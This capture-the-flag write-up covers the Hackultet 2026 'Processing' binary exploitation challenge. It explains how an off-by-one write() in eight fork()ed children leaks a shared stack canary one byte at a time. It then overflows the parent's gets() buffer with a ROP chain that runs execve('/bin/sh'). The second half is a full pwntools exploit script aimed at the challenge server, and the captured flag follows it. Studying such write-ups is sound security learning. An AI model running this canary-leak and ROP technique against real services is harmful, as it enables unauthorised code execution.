neven@dimitri-dev:~$
cd ../hackultet-2026

$cat processing.mdPwnHackultet 2026

Processing

Eight synchronized child processes each leak one byte of a stack canary they all share, because fork() copies memory, not identity, and the parent's own buffer overflow does the rest.

  • #stack-canary
  • #fork
  • #rop
  • #information-leak

$man processing

What this one teaches:

  • That fork() gives each child process its own memory, but the values already in that memory (including a stack canary) start out identical.
  • Leaking one byte at a time through a read plus write(n+1) off-by-one that exposes a single byte past what was actually sent.
  • Building a ROP chain in a statically linked binary where every gadget address is fixed, with no need to leak libc.

Task description

A multi-process binary reachable over the network, synchronized through a message queue.

The shape of the program

The binary calls fork() three times in a row, ending up with eight processes total, each one following a different branch depending on the combination of fork() return values it saw. A System V message queue keeps them running one after another in a fixed order (message type 1 through 6), each child running a small hint() function before yielding to the next:

void hint(char* buf){
    int n = read(0, buf, 0x200);
    write(1, buf, n+1);
}

Reading up to 512 bytes into a local buffer that’s sized for far less is already an overflow; writing back n+1 bytes, one more than was actually read, is a second, separate bug: it leaks whatever single byte happens to sit immediately after the data that was sent, since write() doesn’t stop at a null terminator the way a string function would.

After all eight children finish, the parent calls gets(buf) on a 20-byte stack buffer, a classic unbounded read with no length check at all.

Why one leaked byte per child adds up to the whole canary

A stack canary (a random value placed just before the return address, checked before a function returns, meant to catch exactly this kind of overflow) is set once, before fork() is ever called. fork() duplicates the entire process image, including that already-set canary value, so all eight children share the identical canary their parent had. Linux x86-64 canaries always end in a null byte, which is never leaked and never needs to be; that leaves seven unknown bytes, and this binary happens to need exactly seven children to leak them, one per child, by sending hint() precisely enough bytes to fill right up to the canary and no further, so the trailing leaked byte is the next unknown canary byte.

Each child’s hint() buffer sits at a different offset from a local variable-length array it first allocates, so the exact byte count sent to each child differs; working out those offsets from the disassembly (and confirming them against GDB) gives a fixed recipe, one specific input length per child, each one peeling off the next byte of the shared canary.

Overflowing the parent

With the full canary known, the parent’s gets() call can safely be overflowed past the canary and the saved registers, since the correct canary value is written right back where it belongs:

payload = 24 bytes of padding
        + the recovered 8-byte canary
        + 4 saved registers, zeroed
        + a writable address for the saved rbp
        + the ROP chain

The ROP chain

The binary is statically linked, so there’s no libc to leak addresses from, and no ASLR on its own code either; every gadget address is fixed and known from the binary itself. The chain runs in two stages: first, a read syscall into a writable BSS address to deliver the string /bin/sh, then an execve syscall against that same address, spawning a shell.

One gadget needed a bit of extra care: a syscall instruction immediately followed by ret doesn’t exist at the address an automated ROP gadget finder suggested (its syscall there has no ret right after, so the chain would crash trying to return from it). Searching the binary directly for the raw bytes 0f 05 c3 (syscall; ret) found a working one elsewhere.

With a shell open, reading the flag is a matter of cat-ing it from wherever the challenge stored it.

The exploit

from pwn import *

p = remote('chal.live.hackultet.hr', 14041)
p.recvuntil(b'zagrijavanje!\n')

canary = bytearray(8)  # canary[0] is always 0x00 on x86-64, never sent or leaked

# one (trigger phrase, marker to wait for, vla size, canary byte index) per child,
# in the fixed order the message queue runs them
children = [
    (b'Da\n', b'kategorija?\n', 21, 1),
    (b'eksploitacija\n', b'eksploatacija?\n', 78, 2),
    (b'Da\n', b'li se?\n', 15, 3),
    (b'Ne znam\n', b'branch?\n', 13, 4),
    (b'Ok\n', b'pid1', 6, 5),
    (b'eksploitacija\n', b'eksploatacija?\n', 25, 6),
    (b'Binarna eksploitacija je najbolja CTF kategorija\n', b'kategorija\n', 50, 7),
]

for trigger, marker, vla_size, idx in children:
    offset = 0x178 + ((vla_size + 15) // 16) * 16   # bytes from this child's buffer to the canary
    p.recvuntil(marker)
    p.send(trigger + b'B' * (offset + idx))          # fill right up to the canary, no further
    canary[idx] = p.recvn(offset + idx + 1)[-1]       # the one byte the off-by-one leaks

p.recvuntil(b'ROP time?\n')

rop = flat(
    pop_rdi, 0, pop_rsi, bss, pop_rdx_rbx, 8, 0, pop_rax, 0, syscall_ret,     # read(0, bss, 8)
    pop_rdi, bss, pop_rsi, 0, pop_rdx_rbx, 0, 0, pop_rax, 59, syscall_ret,   # execve(bss, 0, 0)
)
payload = b'A' * 24 + bytes(canary) + p64(0) * 4 + p64(bss + 0x100) + rop
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()

What made the canary leak the interesting part

Nothing here needs an address leak in the usual sense (defeating ASLR); the binary has none to defeat. The actual obstacle was the stack canary, and the insight that made it leakable wasn’t a new vulnerability class, it was noticing that fork() had already handed every child process an identical copy of a secret the parent set once, and a one-byte-too-generous write() in each child was enough to read it back out, one byte at a time, across eight synchronized processes.

$cat flag.txt revealCTF2026[159400126543]

Written by Neven Marić. This writeup was written with the help of Claude Code (Anthropic).